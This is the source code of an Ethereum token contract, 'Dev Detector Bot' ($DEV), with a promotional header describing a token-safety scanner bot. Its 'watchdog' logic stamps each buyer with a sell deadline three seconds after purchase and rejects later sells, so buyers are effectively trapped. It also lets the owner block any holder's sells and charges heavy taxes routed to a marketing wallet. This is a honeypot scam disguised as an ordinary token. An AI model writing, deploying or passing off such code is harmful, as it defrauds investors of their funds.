Contract Name:
DevDetector
Contract Source Code:
File 1 of 1 : DevDetector
// SPDX-License-Identifier: MIT
/*
TG: https://t.me/DevDetector
Website: https://devdetector.tech
X: https://twitter.com/DevDetector
Medium: https://medium.com/@devdetector
BOT:https://t.me/DevDetectorBot
"DEV DETECTOR BOT" $DEV
Bot Live on ETH and BSC
This bot is the next level token scanner
It scans for token safety
It follows Airdrops
It shows top holders with current ETH or BNB value
Checks Marketing Wallet
Checks Dev Wallet
Checks Burn
Wallet Tracker
and much more
Many features being added for token holders including snipe from bot if you like what you scan
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pragma solidity ^0.8.17;
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract DevDetector is Context, IERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxBalance;
mapping (address => uint256) public _dogSellTime;
bool public watchdogMode = true;
uint256 public _caughtDogs;
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1_000_000 * (10**_decimals);
uint256 public swapThreshold = 10_000 * (10**_decimals);
uint256 public maxTxAmount = 20_000 * (10**_decimals);
uint256 public maxWallet = 20_000 * (10**_decimals);
string private constant _name = "Dev Detector Bot";
string private constant _symbol = "DEV";
uint8 public buyTax = 30;
uint8 public sellTax = 35;
address public marketingWallet = 0x32026371aB454e8Aa5AbB40Fb67a9eDBcFcaaB41;
bool private enableTrading = false;
bool private swapping;
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
event SwapAndLiquify();
event TaxesChanged();
constructor () {
_tOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromMaxBalance[owner()] = true;
_isExcludedFromMaxBalance[address(this)] = true;
_isExcludedFromMaxBalance[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function openTrading() external onlyOwner{
require(!enableTrading,"Can only be opened once");
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
_isExcludedFromMaxBalance[pair] = true;
_approve(address(this), address(router), ~uint256(0));
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) - (150_000 * 10**_decimals),0,0,owner(),block.timestamp);
IERC20(pair).approve(address(router), ~uint256(0));
enableTrading = true;
}
function setContractTaxes(uint8 buyTax_, uint8 sellTax_) external onlyOwner{
require(buyTax_ <= 35 && sellTax_<= 60, "Taxes can't exceed the limit.");
buyTax = buyTax_; sellTax = sellTax_;
emit TaxesChanged();
}
function setContractLimits(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
maxTxAmount = maxTX_EXACT * (10**_decimals);
maxWallet = maxWallet_EXACT * (10**_decimals);
}
function setSwapSettings(uint swapThreshold_EXACT) public onlyOwner{
swapThreshold = swapThreshold_EXACT * (10**_decimals);
}
function setWatchdogOff() external onlyOwner{
require(watchdogMode,"Already turned off.");
watchdogMode = false;
}
function setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
_dogSellTime[holder] = block.timestamp + dTime;
}
function manualSwap() external lockTheSwap{
require(msg.sender == marketingWallet);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance > 0){
uint256 ethSwapped = swapTokensForETH(tokenBalance);
if(ethSwapped > 0)
payable(marketingWallet).transfer(ethSwapped);
}
if (address(this).balance > 0)
payable(marketingWallet).sendValue(address(this).balance);
}
function _preTransferCheck(address from,address to,uint256 amount) internal{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
if(!_isExcludedFromMaxBalance[to])
require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
if (balanceOf(address(this)) >= swapThreshold && !swapping && enableTrading && from != pair && from != owner() && to != owner())
swapAndLiquify();
}
function _watchDogCheck(address from,address to, bool isBuy) internal{
if (isBuy){
if(watchdogMode){
_caughtDogs++;
_dogSellTime[to] = block.timestamp + 3;
}
}else{
if (_dogSellTime[from] != 0)
require(block.timestamp < _dogSellTime[from]);
}
}
function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
uint256 taxedTokens = amount * buyTax / 100;
if(isSell)
taxedTokens = amount * sellTax / 100;
if (taxedTokens > 0){
_tOwned[address(this)] += taxedTokens;
emit Transfer (from, address(this), taxedTokens);
}
return (amount - taxedTokens);
}
function _transfer(address from,address to,uint256 amount) private {
_preTransferCheck(from, to, amount);
_tOwned[from] -= amount;
uint256 transferAmount = amount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
transferAmount = _getTaxValues(amount, from, to == pair);
_watchDogCheck(from,to,from == pair);
}
_tOwned[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapAndLiquify() private lockTheSwap{
uint256 tokensForMarketing = swapThreshold * 80 / 100;
uint256 tokensForLiquidity = swapThreshold * 20 / 100;
if(tokensForMarketing > 0){
uint256 ethSwapped = swapTokensForETH(tokensForMarketing);
if(ethSwapped > 0)
payable(marketingWallet).transfer(ethSwapped);
}
if(tokensForLiquidity > 0){
uint half = tokensForLiquidity / 2;
uint otherHalf = tokensForLiquidity - half;
uint balAutoLP = swapTokensForETH(half);
if (balAutoLP > 0)
addLiquidity(otherHalf, balAutoLP);
}
if (address(this).balance > 0)
payable(marketingWallet).sendValue(address(this).balance);
emit SwapAndLiquify();
}
function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
uint256 initialBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
return (address(this).balance - initialBalance);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(router), tokenAmount);
(,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
address(this),
tokenAmount,
0,
0,
marketingWallet,
block.timestamp
);
if (ethAmount - ethFromLiquidity > 0)
payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
}
}